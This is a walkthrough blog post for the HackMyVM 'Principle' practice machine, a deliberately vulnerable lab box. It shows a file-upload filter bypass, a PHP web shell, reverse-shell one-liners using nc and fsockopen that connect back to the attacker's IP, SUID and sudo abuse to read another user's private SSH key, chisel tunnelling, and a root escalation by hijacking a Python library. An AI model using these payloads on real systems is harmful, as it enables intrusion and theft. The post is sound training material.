Home Hack My VM - Principle
Post
Cancel

Hack My VM - Principle

Principle HMV Principle

Lastly I’ve been acting (gladly) as beta tester for my friend Kaian. Kaian did the Principle box for HackMyVm and I was one of the chosen to test it. It was a very fun machine and it was a great experience help him to do it. I have to say that there is A LOT of work behind each one of this little machines.

Although Principle is an medium level machine (it was meant to be easy), I have to admit that I learned a few things along the way.

And, as I completed the box, I have earned the right to write my walkthrough ;)

Annotations

In this article we are going to assume the following ip addresses:

Local machine (attacker, local host): 10.0.0.1

Target machine (victim, Principle box): 10.0.0.2

Enumeration

We are going to scan the target machine to find out what services are running:

1
$ nmap -P0 -n -p- -sV -T5 -oA nmap_principle 10.0.0.1
1
80/tcp open  http    nginx 1.22.1

We can see that the target has a nginx 1.22.1 server running on port 80.

Web footprinting

If we browse to the target we can see the nginx default welcome page:

nginx welcome page nginx welcome page

Directory enumeration

Let’s see if there are hidden files or directories:

1
$ gobuster dir -u http://10.0.0.2 --wordlist /opt/wordlists/dirb/common.txt
1
/robots.txt           (Status: 200) [Size: 68]

We can see that there is a robots.txt file. Let’s take a look:

1
2
3
4
User-agent: *
Allow: /hi.html
Allow: /investigate
Disallow: /hackme

We found two new accessible resources: hi.html and /investigate.

The hi.html does not throw us anything interesting.

If we browse to view-source:http://10.0.0.2/investigate/ we can see a web:

/investigate /investigate

If we take a look at the source code we can see the following comment:

1
<!-- If you like research, I will try to help you to solve the enigmas, try to search for documents in this directory -->

Let’s look for hidden resources in investigate:

1
$ gobuster dir -u http://10.0.0.2/investigate -w /opt/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403,404 -x php,txt,html
1
2
/index.html           (Status: 200) [Size: 812]
/rainbow_mystery.txt  (Status: 200) [Size: 596]

Let’s see what the rainbow_mistery.txt contains:

1
2
3
4
5
6
7
8
QWNjb3JkaW5nIHRvIHRoZSBPbGQgVGVzdGFtZW50LCB0aGUgcmFpbmJvdyB3YXMgY3JlYXRlZCBi
eSBHb2QgYWZ0ZXIgdGhlIHVuaXZlcnNhbCBGbG9vZC4gSW4gdGhlIGJpYmxpY2FsIGFjY291bnQs
IGl0IHdvdWxkIGFwcGVhciBhcyBhIHNpZ24gb2YgdGhlIGRpdmluZSB3aWxsIGFuZCB0byByZW1p
bmQgbWVuIG9mIHRoZSBwcm9taXNlIG1hZGUgYnkgR29kIGhpbXNlbGYgdG8gTm9haCB0aGF0IGhl
IHdvdWxkIG5ldmVyIGFnYWluIGRlc3Ryb3kgdGhlIGVhcnRoIHdpdGggYSBmbG9vZC4KTWF5YmUg
dGhhdCdzIHdoeSBJIGFtIGEgcm9ib3Q/Ck1heWJlIHRoYXQgaXMgd2h5IEkgYW0gYWxvbmUgaW4g
dGhpcyB3b3JsZD8KClRoZSBhbnN3ZXIgaXMgaGVyZToKLS4uIC0tLSAtLSAuLSAuLiAtLiAvIC0g
Li4uLi0gLi0uLiAtLS0tLSAuLi4gLi0uLS4tIC4uLi4gLS0gLi4uLQo=

We can see that it’s a base64 encoding. If we decoded it we will get the following text:

1
2
3
4
5
6
According to the Old Testament, the rainbow was created by God after the universal Flood. In the biblical account, it would appear as a sign of the divine will and to remind men of the promise made by God himself to Noah that he would never again destroy the earth with a flood.
Maybe that's why I am a robot?
Maybe that is why I am alone in this world?

The answer is here:
-.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...-

We can see that the answer is morse encoded, so let’s decode it:

1
DOMAIN T4L0S.HMV

T4L0S.HMV Web footprinting

We have a new domain, so let’s add our new domain to our /etc/hosts/:

1
$ echo "10.0.0.2 T4L0S.HMV" | sudo tee -a /etc/hosts

If we browse to t4l0s.hmv we can see a new web:

t4l0s.hmv t4l0s.hmv

Source code

If we check the source code we find an interesting comment:

1
<!- Elohim is a liar and you must not listen to him, he is not here but it is possible to find him, you must look somewhere else. ->

Directory enumeration

Let’s search virtual hosts here:

1
$ gobuster vhost --append-domain -u t4l0s.hmv -r -w /opt/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
1
Found: hellfire.t4l0s.hmv Status: 200 [Size: 1659]

Ok, we have a new host and we have to add it to our /etc/hosts:

1
$ echo "10.0.0.2 hellfire.t4l0s.hmv" | sudo tee -a /etc/hosts

hellfire.t4l0s.hmv web footprinting

If we browse to our new domain we have a new web.

hellfire.t4l0s.hmv hellfire.t4l0s.hmv

Source code

If we check the source code, the only interesting thing that we found is this comment:

1
<!- You're on the right track, he's getting angry! ->

Directory enumeration

We will search for hidden files or directories:

1
$ gobuster dir -u http://hellfire.t4l0s.hmv --wordlist /opt/wordlists/dirb/common.txt -b 403,404 -x php,txt,html
1
2
3
4
/index.php            (Status: 200) [Size: 1659]
/upload.php           (Status: 200) [Size: 748]
/output.php           (Status: 200) [Size: 1350]
/archivos             (Status: 301) [Size: 169] [--> http://hellfire.t4l0s.hmv/archivos/]

The interesting resource, here, is upload.php. If we browse to http://hellfire.t4l0s.hmv/upload.php we have a web from which we can upload an image.

automata photo upload automata photo upload

We can upload images, so we have to find out if we can exploit this page to gain access to the box.

image uploaded image uploaded

We will try to upload a php file to see if we can do a remote code execution (RCE). We create a new php file with the following content:

1
<?php system('id'); ?>

It seems that the web performs checks on the uploaded files and that only images can be uploaded.

The file must be an image The file must be an image

Let’s open burp and try to dodge the restrictions. We configure burp as our proxy and intercept the requests. We will modify the upload request, and we will change the Content-Type from application/x-php to image/jpeg:

Content-Type: application/x-php Content-Type: application/x-php

Content-Type: image/jpeg Content-Type: image/jpeg

Once our RCE (Remote Code Execution) test is uploaded we can see that we can perform a RCE:

1
2
$ curl "http://hellfire.t4l0s.hmv/archivos/rctest.php" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Foothold

We have to take advantage of the RCE to convert it in a remote shell. First we need to start a netcat listener on our host:

1
$ nc -lvnp 1234

And, now, we will upload a new php file, but, this time, we will upload a bash one-liner reverse shell:

1
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f"); ?>

Once our file is uploaded we got shell!

We will upgrade our tty:

1
2
3
4
5
6
$ script /dev/null -c bash
Ctrl+Z
$ stty raw -echo; fg
$ reset
$ export TERM=xterm
$ export SHELL=bash
1
2
$ whoami
www-data
1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As the www-data user is not very useful to us, we need to find a way to pivot to side-pivot to another, more useful, user.

We find other users in this machine.

1
$ cat /etc/passwd
1
2
3
4
talos:x:1000:1000:Talos,,,:/home/talos:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
elohim:x:1001:1001::/home/gehenna:/bin/rbash
sml:x:1002:1002::/home/sml:/bin/bash
1
$ ls -la /home
1
2
drwxr-xr-x  4 elohim elohim 4096 Jul 14 11:25 gehenna
drwxr-xr-x  4 talos  talos  4096 Jul 14 07:26 talos

We look for files with suid:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ find / -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp

The find binary seems suspicious:

1
$ ls -la find
1
-rwsr-xr-x  1 talos root     224848 Jan  8  2023 find

So when we use find we are using it as the user talos. We can take advantage of this abusing the binary.

If we check /home/talos we find a note:

1
$ ls -la /home/talos
1
-rw-r----- 1 talos talos  320 Jul 13 15:42 note.txt

We abuse find to read note.txt:

1
2
3
4
5
$ find . -exec cat /home/talos/note.txt \; -quit
Congratulations! You have made it this far thanks to the manipulated file I left you, I knew you would make it!
Now we are very close to finding this false God Elohim.
I left you a file with the name of one of the 12 Gods of Olympus, out of the eye of Elohim ;)
The tool I left you is still your ally. Good luck to you.

A few gods (in a couple of languages) later…

1
2
$ find / -iname *afrodita*  2>/dev/null
/etc/selinux/Afrodita.key

Let’s see what Afrodita.key file contais:

1
2
3
4
5
6
$ cat /etc/selinux/Afrodita.key 
Here is my password:
xxxxxxxxxxx

Now I have done another little trick to help you reach Elohim.
REMEMBER: You need the access key and open the door. Anyway, he has a bad memory and that's why he keeps the lock coded and hidden at home.

talos

Now we can be talos:

1
$ su - talos

Let’s see what we can do:

1
2
3
4
5
6
7
8
talos@Principle:~$ sudo -l
Matching Defaults entries for talos on principle:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User talos may run the following commands on principle:
    (elohim) NOPASSWD: /bin/cp

First flag

Now, we can use /bin/cp as elohim. Let’s see what we can find in /home/gehenna:

1
2
3
4
5
6
7
8
9
10
11
12
talos@Principle:~$ ls -la /home/gehenna/
total 40
drwxr-xr-x 4 elohim elohim 4096 Jul 14 11:25 .
drwxr-xr-x 4 root   root   4096 Jul  4 06:11 ..
-rw------- 1 elohim elohim  289 Jul 14 06:38 .bash_history
-rw-r----- 1 elohim elohim  261 Jul  5 08:13 .bash_logout
-rw-r----- 1 elohim elohim 3830 Jul 14 06:37 .bashrc
-rw-r----- 1 elohim elohim  777 Jul 13 17:19 flag.txt
drw-r----- 3 elohim elohim 4096 Jul  2 20:52 .local
-rw-r----- 1 elohim elohim   21 Jul 12 05:35 .lock
-rw-r----- 1 elohim elohim  807 Jul  6 06:28 .profile
drwx------ 2 elohim elohim 4096 Jul  6 11:05 .ssh

We can get our first flag:

1
talos@principle:/bin$ sudo -u elohim /bin/cp /home/gehenna/flag.txt /dev/stdout

lock seems an interesting file, above all after the hint that talos give us:

he keeps the lock coded and hidden at home

So we print the file content and keep a copy of in our machine:

1
talos@principle$ sudo -u elohim /bin/cp /home/gehenna/.lock /dev/stdout

Another interesting directory is .ssh. Seems that elohim could connect via ssh using an rsa private key. But, we didn’t find an ssh service exposed… Anyway, we are going to copy the directory content to our /home. We can’t list the files here, but there always the same, so we try a the usual names:

1
$ sudo -u elohim /bin/cp /home/gehenna/.ssh/authorized_keys /dev/stdout
1
$ sudo -u elohim /bin/cp /home/gehenna/.ssh/id_rsa /dev/stdout

And we save in our machine the content of these files too.

We also can see some interesting information gossiping the .bashrc and .bash_history files. We can see that elohim edited the python subprocess library:

1
nano /usr/lib/python3.11/subprocess.py

And we can see that elohim has some aliases defined to restrict a few commands:

1
2
3
4
5
# GOD aliases
alias cat="rbash cat: restricted"
alias vi='rbash: vi: restricted'
alias pico='rbash: pico: restricted'
alias nano='rbash: nano: restricted'

SSH

We have to check if there is a SSH service running without being exposed to the outside.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ systemctl status sshd
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
     Active: active (running) since
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 441 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 461 (sshd)
      Tasks: 1 (limit: 202)
     Memory: 4.6M
        CPU: 333ms
     CGroup: /system.slice/ssh.service
             └─461 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

There is a ssh service running. Now we have to find in which port:

1
2
3
4
5
$ ss -tunel
talos@principle:~/.ssh$ ss -tunel
Netid          State           Recv-Q           Send-Q                     Local Address:Port                     Peer Address:Port          Process                                                                
udp            UNCONN          0                0                                0.0.0.0:68                            0.0.0.0:*              ino:14407 sk:1 cgroup:/system.slice/ifup@enp0s3.service <->           
tcp            LISTEN          0                128                              0.0.0.0:3445                          0.0.0.0:*              ino:14524 sk:2 cgroup:/system.slice/ssh.service <->

Ok. There is a SSH service running on port 3445 and not exposed to the outside.

As we don’t have permissions to execute ssh, we need to do a reverse proxy tuneling. And, for this, we are going yo use chisel.

We need to know the machine architecture to know what chisel binary upload:

1
2
talos@principle:~/.ssh$ uname -a
Linux principle 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 GNU/Linux

We already knew that it was a linux machine, and now, we also know that it has an amd64 architecture, so we need to upload the linux_amd64 binary. We will send the binary from our host to the server using netcat. We start the file transfer on our host:

1
$ nc -lvnp 443 < chisel_1.8.1_linux_amd64

And we start receiving the file in the Principle machine:

1
$ cat > chisel < /dev/tcp/10.0.0.1/443

We have to give execution permissions to the chisel binary in the Principle machine:

1
$ chmod 700 chisel

Now we have to setup the reverse proxy. We will establish the chisel server in our host:

1
$ /chisel_1.8.1_linux_amd64 server --reverse -p 8080

And we start the chisel client in the Principle machine:

1
$ ./chisel client 10.0.0.1:8080 R:22222:127.0.0.1:3445

So we can connect via ssh using a private key, we need to give it the right permissions:

1
$ chmod 600 elohim_id_rsa

To connect to Principle via our reverse proxy we need to connect to the reverse proxy running on our host:

1
2
3
$ ssh elohim@localhost -p22222 -i elohim_id_rsa

Enter passphrase for key 'id_rsa':

We have to enter a passphrase. Don’t worry, rember the words of talos:

he keeps the lock coded and hidden at home

This is where the .lock file will be useful.

The file content is: 7072696e6369706c6573, and we know that is encoded. It’s encoded in hexadecimal, if we decode it we obtain: principles, and this is this passphrase. Now we can connect via ssh to the Principle machine.

1
2
3
$ ssh elohim@localhost -p22222 -i elohim_id_rsa

Enter passphrase for key 'id_rsa':

We are already inside and we are elohim

elohim

1
2
elohim@principle:~$ id
uid=1001(elohim) gid=1001(elohim) groups=1001(elohim),1002(sml)

Interesting, we are part from the sml group. Let’s see what we can do with sudo:

1
2
3
4
5
Matching Defaults entries for elohim on principle:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User elohim may run the following commands on principle:
    (root) NOPASSWD: /usr/bin/python3 /opt/reviewer.py

We can execute the python script /opt/reviewer.py as root, but we are trapped in a rbash shell. So, we need to escape from the rbash. We can escape from the rbash and get a bash shell using php:

1
elohim@principle:~$ php -r '$sock=fsockopen("10.0.0.1",4545);exec("/bin/bash -i <&3 >&3 2>&3");'

To move confortably we will disable the following restricted aliases:

1
2
$ unalias cat
$ unalias vi

If we check the reviewer.py script, we can see that we don’t have permissions to write it, but we can read it:

1
elohim@principle:~$ ls -la /opt/
1
-rwxr-xr-x  1 root root 1072 Jul  7 15:17 reviewer.py

And we can see that the reviewer.py script file is using the following libraries:

1
2
import os
import subprocess

If we remember, elohim was writting in the subproces library:

1
nano /usr/lib/python3.11/subprocess.py

Let’s check the library permissions:

1
2
elohim@principle:~$ ls -la /usr/lib/python3.11/subprocess.py
-rw-rw-r-- 1 root sml 85745 Jul 11 19:04 /usr/lib/python3.11/subprocess.py

As the sml group has write permissions, and we are in the sml group, we can write this library. We can take advantage of this and perform a python library hijacking.

Privilege escalation (Python library hijacking)

As the python subprocess library is writable, we can spawn a bash shell from there. We will append the following line to the library:

1
os.system('/bin/bash')

Now, when we load the library it will open a bash shell. As we can invoke the script that loads the subprocess libary as root, we will get a root shell:

1
$ sudo /usr/bin/python3 /opt/reviewer.py

And we can read our last flag!

1
root@principle:/opt# cat /root/flag.txt

Enjoy! ;)

This post is licensed under CC BY 4.0 by the author.